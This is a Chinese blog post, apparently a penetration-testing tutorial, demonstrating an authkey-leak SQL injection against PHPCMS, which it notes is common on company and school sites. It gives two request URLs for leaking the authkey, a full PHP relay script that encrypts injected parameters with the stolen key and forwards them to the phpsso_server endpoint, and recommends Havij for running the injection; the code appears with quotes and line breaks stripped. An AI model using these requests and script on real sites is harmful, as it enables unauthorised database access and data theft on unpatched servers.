phpcms_authkey泄露注入

如題,今天給大家演示一下phpcms的authkey泄露注入,phpcms企業和學校用的還是比較多

需要注意安全阿!

這裡有兩個爆出authkey的方式!

第一種:

/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=......phpsso_servercachescaches_admincaches_dataapplist&path=adminn

頁面回顯如下

第二種:

/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5Vn

關於以上兩者,如果第二個不行就用第一個!

接下來用過從獨自等待博客下載的中轉腳本

<?phpnset_time_limit(0);n$wang_url = 網址;n n$auth_key = 爆出了的authkey;n n$str = "uid=1".stripslashes($_GET[id]);n$encode = sys_auth($str, ENCODE, $auth_key);n$content = file_get_contents($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);necho $content;nfunction sys_auth($string, $operation = ENCODE, $key = , $expiry = 0) {n $key_length = 4;n $key = md5($key);n $fixedkey = hash(md5, $key);n $egiskeys = md5(substr($fixedkey, 16, 16));n $runtokey = $key_length ? ($operation == ENCODE ? substr(hash(md5, microtime(true)), -$key_length) : substr($string, 0, $key_length)) : ;n $keys = hash(md5, substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));n $string = $operation == ENCODE ? sprintf(%010d, $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));n $i = 0; $result = ;n $string_length = strlen($string);n for ($i = 0; $i < $string_length; $i++){n $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));n }n if($operation == ENCODE) {n return $runtokey . str_replace(=, , base64_encode($result));n } else {n if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {n return substr($result, 26);n } else {n return ;n }n }n}n?>n

那麼我們把內容填好之後這裡推薦使用胡蘿蔔也就是Havij注入,因為使用sqlmap非常慢1

如下我們就成功注入了!!!

雖然漏洞出現已經有很長時間了,但還是很多站點沒有修復!希望大家多多注意及時打補丁,不要因小失大!

推薦閱讀:

《back track 5:從入門到精通》 入門筆記 之一
如何自己動手編寫漏洞POC
Bypass安全狗上傳攔截
如何入門web滲透?

TAG:渗透测试 | 网络安全 | 白帽子 |